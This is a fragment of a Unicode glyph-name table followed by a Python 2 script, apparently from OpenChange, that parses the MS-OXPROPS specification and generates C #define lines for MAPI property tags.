'kapyeounphieuphkorean': u'\u3184', 'kapyeounpieupkorean': u'\u3178', 'kapyeounssangpieupkorean': u'\u3179', 'karoriisquare': u'\u330D', 'kashidaautoarabic': u'\u0640', 'kashidaautonosidebearingarabic': u'\u0640', 'kasmallkatakana': u'\u30F5', 'kasquare': u'\u3384', 'kasraarabic': u'\u0650', 'kasratanarabic': u'\u064D', 'kastrokecyrillic': u'\u049F', 'katahiraprolongmarkhalfwidth': u'\uFF70', 'kaverticalstrokecyrillic': u'\u049D', 'kbopomofo': u'\u310E', 'kcalsquare': u'\u3389', 'kcaron': u'\u01E9', 'kcedilla': u'\u0137', 'kcircle': u'\u24DA', 'kcommaaccent': u'\u0137', 'kdotbelow': u'\u1E33', 'keharmenian': u'\u0584', 'kehiragana': u'\u3051', 'kekatakana': u'\u30B1', 'kekatakanahalfwidth': u'\uFF79', 'kenarmenian': u'\u056F', 'kesmallkatakana': u'\u30F6', 'kgreenlandic': u'\u0138', 'khabengali': u'\u0996', 'khacyrillic': u'\u0445', 'khadeva': u'\u0916', 'khagujarati': u'\u0A96', 'khagurmukhi': u'\u0A16', 'khaharabic': u'\u062E', 'khahfinalarabic': u'\uFEA6', 'khahinitialarabic': u'\uFEA7', 'khahmedialarabic': u'\uFEA8', 'kheicoptic': u'\u03E7', 'khhadeva': u'\u0959', 'khhagurmukhi': u'\u0A59', 'khieukhacirclekorean': u'\u3278', 'khieukhaparenkorean': u'\u3218', 'khieukhcirclekorean': u'\u326A', 'khieukhkorean': u'\u314B', 'khieukhparenkorean': u'\u320A', 'khokhaithai': u'\u0E02', 'khokhonthai': u'\u0E05', 'khokhuatthai': u'\u0E03', 'khokhwaithai': u'\u0E04', 'khomutthai': u'\u0E5B', 'khook': u'\u0199', 'khorakhangthai': u'\u0E06', 'khzsquare': u'\u3391', 'kihiragana': u'\u304D', 'kikatakana': u'\u30AD', 'kikatakanahalfwidth': u'\uFF77', 'kiroguramusquare': u'\u3315', 'kiromeetorusquare': u'\u3316', 'kirosquare': u'\u3314', 'kiyeokacirclekorean': u'\u326E', 'kiyeokaparenkorean': u'\u320E', 'kiyeokcirclekorean': u'\u3260', 'kiyeokkorean': u'\u3131', 'kiyeokparenkorean': u'\u3200', 'kiyeoksioskorean': u'\u3133', 'kjecyrillic': u'\u045C', 'klinebelow': u'\u1E35', 'klsquare': u'\u3398', 'kmcubedsquare': u'\u33A6', 'kmonospace': u'\uFF4B', 'kmsquaredsquare': u'\u33A2', 'kohiragana': u'\u3053', 'kohmsquare': u'\u33C0', 'kokaithai': u'\u0E01', 'kokatakana': u'\u30B3', 'kokatakanahalfwidth': u'\uFF7A', 'kooposquare': u'\u331E', 'koppacyrillic': u'\u0481', 'koreanstandardsymbol': u'\u327F', 'koroniscmb': u'\u0343', 'kparen': u'\u24A6', 'kpasquare': u'\u33AA', 'ksicyrillic': u'\u046F', 'ktsquare': u'\u33CF', 'kturned': u'\u029E', 'kuhiragana': u'\u304F', 'kukatakana': u'\u30AF', 'kukatakanahalfwidth': u'\uFF78', 'kvsquare': u'\u33B8', 'kwsquare': u'\u33BE', 'l': u'\u006C', 'labengali': u'\u09B2', 'lacute': u'\u013A', 'ladeva': u'\u0932', 'lagujarati': u'\u0AB2', 'lagurmukhi': u'\u0A32', 'lakkhangyaothai': u'\u0E45', 'lamaleffinalarabic': u'\uFEFC', 'lamalefhamzaabovefinalarabic': u'\uFEF8', 'lamalefhamzaaboveisolated
codeparrot/github-code-clean
#!/usr/bin/env python # -*- coding: utf-8 -*- import argparse import difflib import re import string import subprocess import sys import tempfile knownpropsets = { "PSETID_PostRss" : "{00062041-0000-0000-C000-000000000046}", "PSETID_Sharing" : "{00062040-0000-0000-C000-000000000046}", "PS_PUBLIC_STRINGS" : "{00020329-0000-0000-C000-000000000046}", "PSETID_Common" : "{00062008-0000-0000-C000-000000000046}", "PSETID_Appointment" : "{00062002-0000-0000-C000-000000000046}", "PSETID_Address" : "{00062004-0000-0000-C000-000000000046}", "PSETID_Meeting" : "{6ED8DA90-450B-101B-98DA-00AA003F1305}", "PSETID_Log" : "{0006200A-0000-0000-C000-000000000046}", "PSETID_CalendarAssistant" : "{11000E07-B51B-40D6-AF21-CAA85EDAB1D0}", "PSETID_Note" : "{0006200E-0000-0000-C000-000000000046}", "PSETID_Task": "{00062003-0000-0000-C000-000000000046}", "PS_INTERNET_HEADERS" : "{00020386-0000-0000-C000-000000000046}", "PSETID_UnifiedMessaging" : "{4442858E-A9E3-4E80-B900-317A210CC15B}", "PS_MAPI" : "{00020328-0000-0000-C000-000000000046}", "PSETID_Attachment" : "{96357f7f-59e1-47d0-99a7-46515c183b54}", "PSETID_AirSync" : "{71035549-0739-4DCB-9163-00F0580DBBDF}", "PSETID_Messaging" : "{41F28F13-83F4-4114-A584-EEDB5A6B0BFF}", "PSETID_XmlExtractedEntities": "{23239608-685D-4732-9C55-4C95CB4E8E33}" } knowndatatypes = { "PtypInteger16" : "0x0002", "PtypInteger32" : "0x0003", "PtypFloating64" : "0x0005", "PtypBoolean" : "0x000B", "PtypEmbeddedTable" : "0x000D", "PtypObject" : "0x000D", "PtypString8" : "0x001E", "PtypString" : "0x001F", "PtypInteger64" : "0x0014", "PtypBinary" : "0x0102", "PtypTime" : "0x0040", "PtypGuid" : "0x0048", "PtypServerId" : "0x00FB", "PtypRestriction" : "0x00FD", "PtypRuleAction" : "0x00FE", "PtypMultipleInteger32" : "0x1003", "PtypMultipleString8" : "0x101E", "PtypMultipleString" : "0x101F", "PtypMultipleTime" : "0x1040", "PtypMultipleBinary" : "0x1102", } datatypemap = { "PtypInteger16" : "PT_SHORT", "PtypInteger32" : "PT_LONG", "PtypFloating64" : "PT_DOUBLE", "PtypBoolean" : "PT_BOOLEAN", "PtypEmbeddedTable" : "PT_OBJECT", "PtypObject" : "PT_OBJECT", "PtypString8" : "PT_STRING8", "PtypString" : "PT_UNICODE", "PtypInteger64" : "PT_I8", "PtypBinary" : "PT_BINARY", "PtypTime" : "PT_SYSTIME", "PtypGuid" : "PT_CLSID", "PtypServerId" : "PT_SVREID", "PtypRestriction" : "PT_SRESTRICT", "PtypRuleAction" : "PT_ACTIONS", "PtypMultipleInteger32" : "PT_MV_LONG", "PtypMultipleString8" : "PT_MV_STRING8", "PtypMultipleString" : "PT_MV_UNICODE", "PtypMultipleTime" : "PT_MV_SYSTIME", "PtypMultipleBinary" : "PT_MV_BINARY" } knownrefs = [ "[MS-ASAIRS]", "[MS-ASCAL]", "[MS-ASCMD]", "[MS-ASCNTC]", "[MS-ASCON]", "[MS-ASDOC]", "[MS-ASDTYPE]", "[MS-ASEMAIL]", "[MS-ASHTTP]", "[MS-ASMS]", "[MS-ASNOTE]", "[MS-ASPROV]", "[MS-ASRM]", "[MS-ASTASK]", "[MS-ASWBXML]", "[MS-CAB]", "[MS-MCI]", "[MS-OXABREF]", "[MS-OXBBODY]", "[MS-OXCDATA]", "[MS-OXCETF]", "[MS-OXCFOLD]", "[MS-OXCFXICS]", "[MS-OXCHGTR]", "[MS-OXCICAL]", "[MS-OXCMAIL]", "[MS-OXCMSG]", "[MS-OXCNOTIF]", "[MS-OXCPERM]", "[MS-OXCPRPT]", "[MS-OXCROPS]", "[MS-OXCRPC]", "[MS-OXCSPAM]", "[MS-OXCSTOR]", "[MS-OXCSYNC]", "[MS-OXCTABL]", "[MS-OXDISCO]", "[MS-OXDOCO]", "[MS-OXDSCLI]", "[MS-OXGLOS]", "[MS-OXIMAP4]", "[MS-OXLDAP]", "[MS-OXMSG]", "[MS-OXMVMBX]", "[MS-OXOABK]", "[MS-OXOABKT]", "[MS-OXOAB]", "[MS-OXOCAL]", "[MS-OXOCFG]", "[MS-OXOCNTC]", "[MS-OXODLGT]", "[MS-OXODOC]", "[MS-OXOFLAG]", "[MS-OXOJRNL]", "[MS-OXOMSG]", "[MS-OXONOTE]", "[MS-OXOPFFB]", "[MS-OXOPOST]", "[MS-OXORMDR]", "[MS-OXORMMS]", "[MS-OXORSS]", "[MS-OXORULE]", "[MS-OXOSFLD]", "[MS-OXOSMIME]", "[MS-OXOSMMS]", "[MS-OXOSRCH]", "[MS-OXOTASK]", "[MS-OXOUM]", "[MS-OXPFOAB]", "[MS-OXPHISH]", "[MS-OXPOP3]", "[MS-OXPROPS]", "[MS-OXPROTO]", "[MS-OXPSVAL]", "[MS-OXREF]", "[MS-OXRTFCP]", "[MS-OXRTFEX]", "[MS-OXSHARE]", "[MS-OXSHRMSG]", "[MS-OXSMTP]", "[MS-OXTNEF]", "[MS-OXVCARD]", "[MS-OXWAVLS]", "[MS-OXWCONFIG]", "[MS-OXWMT]", "[MS-OXWOAB]", "[MS-OXWOOF]", "[MS-OXWSADISC]", "[MS-OXWSATT]", "[MS-OXWSAUTID]", "[MS-OXWSBTRF]", "[MS-OXWSCDATA]", "[MS-OXWSCONT]", "[MS-OXWSCONV]", "[MS-OXWSCORE]", "[MS-OXWSCVTID]", "[MS-OXWSDLGM]", "[MS-OXWSDLIST]", "[MS-OXWSFOLD]", "[MS-OXWSGTRM]", "[MS-OXWSGTZ]", "[MS-OXWSLVID]", "[MS-OXWSMSG]", "[MS-OXWSMSHR]", "[MS-OXWSMTGS]", "[MS-OXWSMTRK]", "[MS-OXWSNTIF]", "[MS-OXWSPOST]", "[MS-OXWSPSNTIF]", "[MS-OXWSRSLNM]", "[MS-OXWSRULES]", "[MS-OXWSSRCH]", "[MS-OXWSSYNC]", "[MS-OXWSTASK]", "[MS-OXWSUSRCFG]", "[MS-OXWSXPROP]", "[MS-OXWUMS]", "[MS-PATCH]", "[MS-XJRNL]", "[MS-XLOGIN]", "[MS-XWDCAL]", "[MS-XWDCNTC]", "[MS-XWDDOC]", "[MS-XWDEXT]", "[MS-XWDFOLD]", "[MS-XWDMAIL]", "[MS-XWDNOTIF]", "[MS-XWDREPL]", "[MS-XWDSEARCH]", "[MS-XWDSTRUCTDOC]", "[MS-XWDVSEC]", "[MS-NSPI]" ] knownareas = [ "AB Container", "Access Control Properties", "Access Control Properties Property set", "Address book", "Address Book", "Address Properties", "Address Properties Property set", "Appointment Property set", "Appointment", "Archive", "BestBody", "Calendar", "Calendar Document", "Calendar Document Property set", "Calendar Property set", "Common", "Common Property set", "Conferencing", "Configuration", "Conflict Note", "Contact Properties", "Container Properties", "Container Properties Property set", "Conversation Actions", "Conversations", "Email", "E-mail", "Email Property set", "Exchange", "Exchange Administrative", "ExchangeAdministrative", "ExchangeAdministrative Property set", "ExchangeFolder", "ExchangeFolder Property set", "ExchangeMessageReadOnly", "ExchangeMessageStore", "ExchangeNonTransmittableReserved", "Exchange Profile Configuration", "Exchange Property set", "Extracted Entities", "Flagging", "Folder Properties", "Free/Busy Properties", "General Message Properties", "General Message Properties Property set", "General Report Properties", "History Properties", "IC", "ICS", "ID Properties", "ID Properties Property set", "Journal", "Mail", "MapiAddressBook", "MapiAttachment", "MapiCommon", "MapiContainer", "MAPI Display Tables", "MapiEnvelope", "MapiEnvelope Property set", "MapiMailUser", "MapiMessage", "MapiMessageStore", "MapiNonTransmittable", "MapiNonTransmittable Property set", "MapiRecipient", "MapiStatus", "Meeting Response", "Meetings", "Message Attachment Properties", "Message Attachment Properties Property set", "MessageClassDefinedNonTransmittable", "Message Class Defined Transmittable", "MessageClassDefinedTransmittable", "Message Properties", "Message Properties Property set", "Message Store Properties", "Message Time Properties", "Message Time Properties Property set", "MIME properties", "MIME Properties", "MIME Properties Property set", "Miscellaneous Properties", "Miscellaneous Properties Property set", "Offline Address Book Properties", "Outlook Application", "ProviderDefinedNonTransmittable", "PST Internal", "Reminders", "RenMessageFolder", "RSS", "Rules", "Run-time configuration", "Search", "Secure Messaging", "Secure Messaging Properties", "Server", "Server-side Rules Properties", "Server-Side Rules Properties", "Sharing", "Site Mailbox", "SMS", "Spam", "Sticky Notes", "Structured Documents", "Structured Documents Property set", "Sync", "Table Properties", "Tasks", "Transport Envelope", "TransportEnvelope", "TransportRecipient", "UM", "Unified Messaging" ] properties = [] def make_properties_list(propsfilename): next_num = 1 propname = "" propertyinfo = {} propsfile = file(propsfilename) for line in propsfile: if line.startswith("2 Structures"): break for line in propsfile: if line.startswith("2."): section_num = line.split()[0] sub_section_num = section_num.split(".")[1] if int(sub_section_num) != next_num: print "expected", next_num, "got", sub_section_num next_num += 1 propname = line.split()[1] if propertyinfo.has_key("CanonicalName"): properties.append(propertyinfo.copy()) propertyinfo = {} if line.strip().startswith("Canonical name:"): canonicalname = line.strip().split(":")[1].strip() if ((propname != "") and (propname != canonicalname)): print "expected", propname, "got", canonicalname propertyinfo["CanonicalName"] = canonicalname if line.strip().startswith("Property name:"): propertyname = line.split(":", 1) propertyinfo["PropertyName"] = propertyname[1].strip() if line.strip().startswith("Description:"): description = line.strip().split(":")[1].strip() while True: nextline = propsfile.next().strip() if (nextline.isspace() or (len(nextline) == 0)): break description += (" " + nextline) propertyinfo["Description"] = description if line.strip().startswith("Alternate names:"): altname = line.strip().partition(":")[2] while True: nextline = propsfile.next().strip() if (nextline.isspace() or (len(nextline) == 0)): break altname += (", " + nextline) propertyinfo["AlternateNames"] = altname if line.strip().startswith("Data type:"): datatype = line.strip().split(":")[1].strip() datatype_values = datatype.split(",") if len(datatype_values) >= 2: datatypename, datatypeval = datatype_values[:2] propertyinfo["DataTypeName"] = datatypename.strip() # There are three props which does not work very well. Examples: # PtypString8, 0x001EPtypEmbeddedTable, 0x000D # or # PtypString8, 0x001E; PtypEmbeddedTable, 0x000D propertyinfo["DataTypeValue"] = datatypeval.strip()[:6] else: sys.stderr.write("Too few types in %s\n" % line) continue if line.strip().startswith("Property set:"): propset = line.strip().split(":")[1].strip() if propset.find(" ") != -1: propset = propset.replace(" - ", '-') propsetname, propsetval = propset.split(" ") propertyinfo["PropertySet"] = propsetname.strip() propertyinfo["PropertySetValue"] = propsetval.strip() if line.strip().startswith("Property ID:"): propid = line.strip().split(":")[1].strip() if propid.startswith("0x"): propertyinfo["PropertyId"] = int(propid, 16) else: print "In section 2.%(section)i (%(propname)s):" % { 'section': (next_num -1), 'propname': propname } print "\t", propid, "doesn't appear to have correct (hex) format" if line.strip().startswith("Property long ID (LID):"): proplid = line.strip().split(":")[1].strip() if proplid.startswith("0x"): propertyinfo["PropertyLid"] = int(proplid, 16) else: print "In section 2.%(section)i (%(propname)s):" % { 'section': (next_num -1), 'propname': propname } print "\t", proplid, "doesn't appear to have correct (hex) format" if line.strip().startswith("Area:"): areaname = line.strip().split(":")[1].strip() if (knownareas.count(areaname) == 1): propertyinfo["Area"] = areaname else: print "In section 2.%(section)i (%(propname)s):" % { 'section': (next_num -1), 'propname': propname } print "\t", areaname, "isn't an expected area name (typo?)" if line.strip().startswith("References:") or line.strip().startswith("Reference:"): references = line.strip().split(":")[1].strip() while (1): nextline = propsfile.next().strip() if (nextline.isspace() or (len(nextline) == 0)): break references += (nextline) propertyinfo["References"] = references if line.strip().startswith("Defining Reference:") or line.strip().startswith("Defining reference:") or line.strip().startswith("Defining references"): reference = line.strip().split(":")[1].strip() propertyinfo["DefiningReference"] = reference propertyinfo["OXPROPS_Sect"] = "2.%i" % (next_num -1) #The whole file should now be parsed properties.append(propertyinfo) # sanity check print "Last section parsed was section 2.%(section)i" % { 'section': (next_num-1) } # Debugging dump of everything def debug_dump(): for entry in properties: print entry extra_private_tags_struct = """\t{ PidTagFolderChildCount, PT_LONG, \"PidTagFolderChildCount\" }, """ temporary_private_tags = """ #define openchange_private_ROOT_FOLDER_FID PROP_TAG(PT_I8 , 0xd001) /* 0xd0010014 */ #define openchange_private_ROOT_FOLDER_FID_ERROR PROP_TAG(PT_ERROR , 0xd001) /* 0xd001000a */ #define openchange_private_DEFERRED_ACTIONS_FID PROP_TAG(PT_I8 , 0xd002) /* 0xd0020014 */ #define openchange_private_DEFERRED_ACTIONS_FID_ERROR PROP_TAG(PT_ERROR , 0xd002) /* 0xd002000a */ #define openchange_private_SPOOLER_QUEUE_FID PROP_TAG(PT_I8 , 0xd003) /* 0xd0030014 */ #define openchange_private_SPOOLER_QUEUE_FID_ERROR PROP_TAG(PT_ERROR , 0xd003) /* 0xd003000a */ #define openchange_private_IPM_SUBTREE_FID PROP_TAG(PT_I8 , 0xd004) /* 0xd0040014 */ #define openchange_private_IPM_SUBTREE_FID_ERROR PROP_TAG(PT_ERROR , 0xd004) /* 0xd004000a */ #define openchange_private_INBOX_FID PROP_TAG(PT_I8 , 0xd005) /* 0xd0050014 */ #define openchange_private_INBOX_FID_ERROR PROP_TAG(PT_ERROR , 0xd005) /* 0xd005000a */ #define openchange_private_OUTBOX_FID PROP_TAG(PT_I8 , 0xd006) /* 0xd0060014 */ #define openchange_private_OUTBOX_FID_ERROR PROP_TAG(PT_ERROR , 0xd006) /* 0xd006000a */ #define openchange_private_SENT_ITEMS_FID PROP_TAG(PT_I8 , 0xd007) /* 0xd0070014 */ #define openchange_private_SENT_ITEMS_FID_ERROR PROP_TAG(PT_ERROR , 0xd007) /* 0xd007000a */ #define openchange_private_DELETED_ITEMS_FID PROP_TAG(PT_I8 , 0xd008) /* 0xd0080014 */ #define openchange_private_DELETED_ITEMS_FID_ERROR PROP_TAG(PT_ERROR , 0xd008) /* 0xd008000a */ #define openchange_private_COMMON_VIEWS_FID PROP_TAG(PT_I8 , 0xd009) /* 0xd0090014 */ #define openchange_private_COMMON_VIEWS_FID_ERROR PROP_TAG(PT_ERROR , 0xd009) /* 0xd009000a */ #define openchange_private_SCHEDULE_FID PROP_TAG(PT_I8 , 0xd00a) /* 0xd00a0014 */ #define openchange_private_SCHEDULE_FID_ERROR PROP_TAG(PT_ERROR , 0xd00a) /* 0xd00a000a */ #define openchange_private_SEARCH_FID PROP_TAG(PT_I8 , 0xd00b) /* 0xd00b0014 */ #define openchange_private_SEARCH_FID_ERROR PROP_TAG(PT_ERROR , 0xd00b) /* 0xd00b000a */ #define openchange_private_VIEWS_FID PROP_TAG(PT_I8 , 0xd00c) /* 0xd00c0014 */ #define openchange_private_VIEWS_FID_ERROR PROP_TAG(PT_ERROR , 0xd00c) /* 0xd00c000a */ #define openchange_private_SHORTCUTS_FID PROP_TAG(PT_I8 , 0xd00d) /* 0xd00d0014 */ #define openchange_private_SHORTCUTS_FID_ERROR PROP_TAG(PT_ERROR , 0xd00d) /* 0xd00d000a */ #define openchange_private_MailboxGUID PROP_TAG(PT_CLSID , 0xd00e) /* 0xd00e0048 */ #define openchange_private_MailboxGUID_ERROR PROP_TAG(PT_ERROR , 0xd00e) /* 0xd00e000a */ #define openchange_private_ReplicaID PROP_TAG(PT_SHORT , 0xd00f) /* 0xd00f0002 */ #define openchange_private_ReplicaID_ERROR PROP_TAG(PT_ERROR , 0xd00f) /* 0xd00f000a */ #define openchange_private_ReplicaGUID PROP_TAG(PT_CLSID , 0xd010) /* 0xd0100048 */ #define openchange_private_ReplicaGUID_ERROR PROP_TAG(PT_ERROR , 0xd010) /* 0xd010000a */ #define openchange_private_CONTACT_FID PROP_TAG(PT_I8 , 0xd011) /* 0xd0110014 */ #define openchange_private_CONTACT_FID_ERROR PROP_TAG(PT_ERROR , 0xd011) /* 0xd011000a */ #define openchange_private_CALENDAR_FID PROP_TAG(PT_I8 , 0xd012) /* 0xd0120014 */ #define openchange_private_CALENDAR_FID_ERROR PROP_TAG(PT_ERROR , 0xd012) /* 0xd012000a */ #define openchange_private_JOURNAL_FID PROP_TAG(PT_I8 , 0xd013) /* 0xd0130014 */ #define openchange_private_JOURNAL_FID_ERROR PROP_TAG(PT_ERROR , 0xd013) /* 0xd013000a */ #define openchange_private_NOTE_FID PROP_TAG(PT_I8 , 0xd014) /* 0xd0140014 */ #define openchange_private_NOTE_FID_ERROR PROP_TAG(PT_ERROR , 0xd014) /* 0xd014000a */ #define openchange_private_TASK_FID PROP_TAG(PT_I8 , 0xd015) /* 0xd0150014 */ #define openchange_private_TASK_FID_ERROR PROP_TAG(PT_ERROR , 0xd015) /* 0xd015000a */ #define openchange_private_DRAFTS_FID PROP_TAG(PT_I8 , 0xd016) /* 0xd0160014 */ #define openchange_private_DRAFTS_FID_ERROR PROP_TAG(PT_ERROR , 0xd016) /* 0xd016000a */ #define openchange_private_PF_ROOT PROP_TAG(PT_I8 , 0xd017) /* 0xd0170014 */ #define openchange_private_PF_ROOT_ERROR PROP_TAG(PT_ERROR , 0xd017) /* 0xd017000a */ #define openchange_private_PF_IPM_SUBTREE PROP_TAG(PT_I8 , 0xd018) /* 0xd0180014 */ #define openchange_private_PF_IPM_SUBTREE_ERROR PROP_TAG(PT_ERROR , 0xd018) /* 0xd018000a */ #define openchange_private_PF_NONIPM_SUBTREE PROP_TAG(PT_I8 , 0xd019) /* 0xd0190014 */ #define openchange_private_PF_NONIPM_SUBTREE_ERROR PROP_TAG(PT_ERROR , 0xd019) /* 0xd019000a */ #define openchange_private_PF_EFORMS PROP_TAG(PT_I8 , 0xd01a) /* 0xd01a0014 */ #define openchange_private_PF_EFORMS_ERROR PROP_TAG(PT_ERROR , 0xd01a) /* 0xd01a000a */ #define openchange_private_PF_FREEBUSY PROP_TAG(PT_I8 , 0xd01b) /* 0xd01b0014 */ #define openchange_private_PF_FREEBUSY_ERROR PROP_TAG(PT_ERROR , 0xd01b) /* 0xd01b000a */ #define openchange_private_PF_OAB PROP_TAG(PT_I8 , 0xd01c) /* 0xd01c0014 */ #define openchange_private_PF_OAB_ERROR PROP_TAG(PT_ERROR , 0xd01c) /* 0xd01c000a */ #define openchange_private_PF_LOCAL_EFORMS PROP_TAG(PT_I8 , 0xd01d) /* 0xd01d0014 */ #define openchange_private_PF_LOCAL_EFORMS_ERROR PROP_TAG(PT_ERROR , 0xd01d) /* 0xd01d000a */ #define openchange_private_PF_LOCAL_FREEBUSY PROP_TAG(PT_I8 , 0xd01e) /* 0xd01e0014 */ #define openchange_private_PF_LOCAL_FREEBUSY_ERROR PROP_TAG(PT_ERROR , 0xd01e) /* 0xd01e000a */ #define openchange_private_PF_LOCAL_OAB PROP_TAG(PT_I8 , 0xd01f) /* 0xd01f0014 */ #define openchange_private_PF_LOCAL_OAB_ERROR PROP_TAG(PT_ERROR , 0xd01f) /* 0xd01f000a */ """ temporary_private_tags_struct = """\t{ openchange_private_ROOT_FOLDER_FID, PT_I8, "openchange_private_ROOT_FOLDER_FID" }, { openchange_private_DEFERRED_ACTIONS_FID, PT_I8, "openchange_private_DEFERRED_ACTIONS_FID" }, { openchange_private_SPOOLER_QUEUE_FID, PT_I8, "openchange_private_SPOOLER_QUEUE_FID" }, { openchange_private_IPM_SUBTREE_FID, PT_I8, "openchange_private_IPM_SUBTREE_FID" }, { openchange_private_INBOX_FID, PT_I8, "openchange_private_INBOX_FID" }, { openchange_private_OUTBOX_FID, PT_I8, "openchange_private_OUTBOX_FID" }, { openchange_private_SENT_ITEMS_FID, PT_I8, "openchange_private_SENT_ITEMS_FID" }, { openchange_private_DELETED_ITEMS_FID, PT_I8, "openchange_private_DELETED_ITEMS_FID" }, { openchange_private_COMMON_VIEWS_FID, PT_I8, "openchange_private_COMMON_VIEWS_FID" }, { openchange_private_SCHEDULE_FID, PT_I8, "openchange_private_SCHEDULE_FID" }, { openchange_private_SEARCH_FID, PT_I8, "openchange_private_SEARCH_FID" }, { openchange_private_VIEWS_FID, PT_I8, "openchange_private_VIEWS_FID" }, { openchange_private_SHORTCUTS_FID, PT_I8, "openchange_private_SHORTCUTS_FID" }, { openchange_private_MailboxGUID, PT_CLSID, "openchange_private_MailboxGUID" }, { openchange_private_ReplicaID, PT_SHORT, "openchange_private_ReplicaID" }, { openchange_private_ReplicaGUID, PT_CLSID, "openchange_private_ReplicaGUID" }, { openchange_private_CONTACT_FID, PT_I8, "openchange_private_CONTACT_FID" }, { openchange_private_CALENDAR_FID, PT_I8, "openchange_private_CALENDAR_FID" }, { openchange_private_JOURNAL_FID, PT_I8, "openchange_private_JOURNAL_FID" }, { openchange_private_NOTE_FID, PT_I8, "openchange_private_NOTE_FID" }, { openchange_private_TASK_FID, PT_I8, "openchange_private_TASK_FID" }, { openchange_private_DRAFTS_FID, PT_I8, "openchange_private_DRAFTS_FID" }, { openchange_private_PF_ROOT, PT_I8, "openchange_private_PF_ROOT" }, { openchange_private_PF_IPM_SUBTREE, PT_I8, "openchange_private_PF_IPM_SUBTREE" }, { openchange_private_PF_NONIPM_SUBTREE, PT_I8, "openchange_private_PF_NONIPM_SUBTREE" }, { openchange_private_PF_EFORMS, PT_I8, "openchange_private_PF_EFORMS" }, { openchange_private_PF_FREEBUSY, PT_I8, "openchange_private_PF_FREEBUSY" }, { openchange_private_PF_OAB, PT_I8, "openchange_private_PF_OAB" }, { openchange_private_PF_LOCAL_EFORMS, PT_I8, "openchange_private_PF_LOCAL_EFORMS" }, { openchange_private_PF_LOCAL_FREEBUSY, PT_I8, "openchange_private_PF_LOCAL_FREEBUSY" }, { openchange_private_PF_LOCAL_OAB, PT_I8, "openchange_private_PF_LOCAL_OAB" }, """ def make_mapi_properties_file(): proplines = [] altnamelines = [] previous_propid_list = [] # Additional properties referenced on MSDN but not in MS-OXPROPS properties.append({'CanonicalName': 'PidTagRoamingBinary', 'DataTypeName': 'PtypBinary', 'PropertyId': 0x7C09, 'AlternateNames': 'PR_ROAMING_BINARYSTREAM', 'Area': 'Configuration'}) for entry in properties: if entry.has_key("CanonicalName") == False: print "Section", entry["OXPROPS_Sect"], "has no canonical name entry" continue if entry.has_key("DataTypeName") == False: print "Section", entry["OXPROPS_Sect"], "has no data type entry" continue if entry.has_key("PropertyId"): propline = "#define " propline += string.ljust(entry["CanonicalName"], 68) propline += " PROP_TAG(" propline += string.ljust(datatypemap[entry["DataTypeName"]], 13) + ", " propline += "0x" + format(entry["PropertyId"], "04X") propline += ") " propline += "/* 0x" + format(entry["PropertyId"], "04X") + knowndatatypes[entry["DataTypeName"]][2:] + " */" propline += "\n" proplines.append(propline) propline = "#define " propline += string.ljust(entry["CanonicalName"] + "_Error", 68) propline += " PROP_TAG(" propline += string.ljust("PT_ERROR", 13) + ", " propline += "0x" + format(entry["PropertyId"], "04X") propline += ") " propline += "/* 0x" + format(entry["PropertyId"], "04X") + "000A" + " */" propline += "\n" proplines.append(propline) if entry.has_key("AlternateNames"): for altname in entry["AlternateNames"].split(","): altname = altname.strip() if altname.count(" ") > 0: print "skipping non-conforming alternative name:", altname elif altname.startswith("PR_"): if altname.endswith("_A"): continue if altname.endswith("_W"): continue if knowndatatypes[entry["DataTypeName"]][2:] == "001F": altline = "#define " + string.ljust(altname + "_UNICODE", 68) altline += " PROP_TAG(PT_UNICODE , 0x" + format(entry["PropertyId"], "04X") + ")" altline += " /* 0x" + format(entry["PropertyId"], "04X") + "001F */" + "\n" altnamelines.append(altline) altline = "#define " + string.ljust(altname, 68) altline += " PROP_TAG(PT_STRING8 , 0x" + format(entry["PropertyId"], "04X") + ")" altline += " /* 0x" + format(entry["PropertyId"], "04X") + "001E */" + "\n" altnamelines.append(altline) elif knowndatatypes[entry["DataTypeName"]][2:] == "101F": altline = "#define " + string.ljust(altname + "_UNICODE", 68) altline += " PROP_TAG(PT_MV_UNICODE, 0x" + format(entry["PropertyId"], "04X") + ")" altline += " /* 0x" + format(entry["PropertyId"], "04X") + "101F */" + "\n" altnamelines.append(altline) altline = "#define " + string.ljust(altname, 68) altline += " PROP_TAG(PT_MV_STRING8, 0x" + format(entry["PropertyId"], "04X") + ")" altline += " /* 0x" + format(entry["PropertyId"], "04X") + "101E */" + "\n" altnamelines.append (altline) else: altnamelines.append("#define " + string.ljust(altname, 68) + " " + entry["CanonicalName"] + "\n") altline = "#define " + string.ljust(altname + "_ERROR", 68) altline += " PROP_TAG(PT_ERROR , 0x" + format(entry["PropertyId"], "04X") + ")" altline += " /* 0x" + format(entry["PropertyId"], "04X") + "000A */" + "\n" altnamelines.append(altline) # hack until we properly handle named properties proplines.append(temporary_private_tags) # supplemental properties / alternative names altnamelines.append("#define PidTagFolderChildCount PROP_TAG(PT_LONG , 0x6638) /* 0x66380003 */\n") altnamelines.append("#define PidTagOriginalDisplayName PROP_TAG(PT_UNICODE , 0x3A13) /* 0x3A13001F */\n") altnamelines.append("#define PidTagDesignInProgress PROP_TAG(PT_BOOLEAN , 0x3FE4) /* 0x3FE4000B */\n") altnamelines.append("#define PidTagSecureOrigination PROP_TAG(PT_BOOLEAN , 0x3FE5) /* 0x3FE5000B */\n") altnamelines.append("#define PidTagExtendedACLData PROP_TAG(PT_BINARY , 0x3FFE) /* 0x3FFE0102 */\n") altnamelines.append("#define PidTagAttributeSystem PROP_TAG(PT_BOOLEAN , 0x10F5) /* 0x10F5000B */\n") altnamelines.append("#define PidTagUrlCompName PROP_TAG(PT_UNICODE , 0x10F3) /* 0x10F3001F */\n") altnamelines.append("#define PidTagNormalMessageSize PROP_TAG(PT_LONG , 0x66b3) /* 0x66B30003 */\n") altnamelines.append("#define PidTagUrlCompNameSet PROP_TAG(PT_BOOLEAN , 0x0E62) /* 0x0E62000B */\n") altnamelines.append("#define PR_NORMAL_MESSAGE_SIZE PidTagNormalMessageSize\n"); altnamelines.append("#define PR_DEFAULT_PROFILE 0x00010102\n") altnamelines.append("#define PR_PROFILE_HOME_SERVER_ADDRS 0x6613101e\n") altnamelines.append("#define PR_FID PidTagFolderId\n") altnamelines.append("#define PR_MID PidTagMid\n") altnamelines.append("#define PR_INSTANCE_NUM PidTagInstanceNum\n") altnamelines.append("#define PR_FOLDER_CHILD_COUNT 0x66380003\n") altnamelines.append("#define PR_INST_ID 0x674d0014\n") altnamelines.append("#define PR_RULE_MSG_PROVIDER 0x65eb001e\n") altnamelines.append("#define PR_RULE_MSG_NAME 0x65ec001e\n") altnamelines.append("#define PR_TRANSMITTABLE_DISPLAY_NAME_UNICODE 